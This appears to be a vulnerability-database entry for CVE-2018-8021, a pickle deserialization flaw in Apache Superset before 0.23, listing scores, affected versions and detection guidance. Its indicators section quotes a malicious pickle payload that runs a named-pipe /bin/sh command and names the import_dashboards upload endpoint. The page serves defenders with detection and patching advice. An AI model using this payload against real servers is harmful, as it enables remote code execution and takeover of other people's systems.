CVE-2018-8021

published 2018-11-07

CVE-2018-8021: Versions of Superset prior to 0.23 used an unsafe load method from the pickle library to deserialize data leading to possible remote code execution. Note…

Priority P2 77 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

Versions of Superset prior to 0.23 used an unsafe load method from the pickle library to deserialize data leading to possible remote code execution. Note Superset 0.23 was released prior to any Superset release under the Apache Software Foundation.

Affected

3 ranges

Vendor	Product	Version range	Fixed in
apache	superset	< 0.23	0.23
apache	superset	>= 0 < 0.23	0.23
apache	superset	>= 0 < 0.23.0	0.23.0

Detection & IOCs extracted from sources · hover to see the quote

url /login/↗

url /superset/import_dashboards↗

bytes↗

cos\nsystem\n(S'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0/tmp/backpipe'\ntR.

• → Monitor POST requests to /superset/import_dashboards containing multipart file uploads with a .pickle extension — this is the exploit's delivery mechanism for the malicious pickle payload. ↗
• → Detect pickle files uploaded with Content-Type application/octet-stream to the import_dashboards endpoint; the malicious pickle opcode sequence begins with 'cos\nsystem\n' which is a reliable byte-level signature. ↗
• → Alert on creation of a named pipe at /tmp/backpipe via mknod on the Superset host process, which indicates successful RCE via pickle deserialization. ↗
• → Flag the exploit's fixed User-Agent string in HTTP logs for requests targeting /login/ followed by /superset/import_dashboards in the same session. ↗
• → Versions of Superset prior to 0.23 are vulnerable; identify and prioritize scanning/patching any Superset instance running a version below 0.23. ↗

• · The exploit hardcodes the login and upload URLs using HTTP (not HTTPS); if the target Superset instance is behind TLS termination or uses a non-standard port, the exploit URLs must be adjusted — defenders should ensure detection covers both HTTP and HTTPS variants of these endpoints. ↗
• · The exploit requires valid credentials to authenticate before uploading the malicious pickle; the vulnerability is post-authentication, meaning accounts with dashboard import privileges are the attack surface. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-502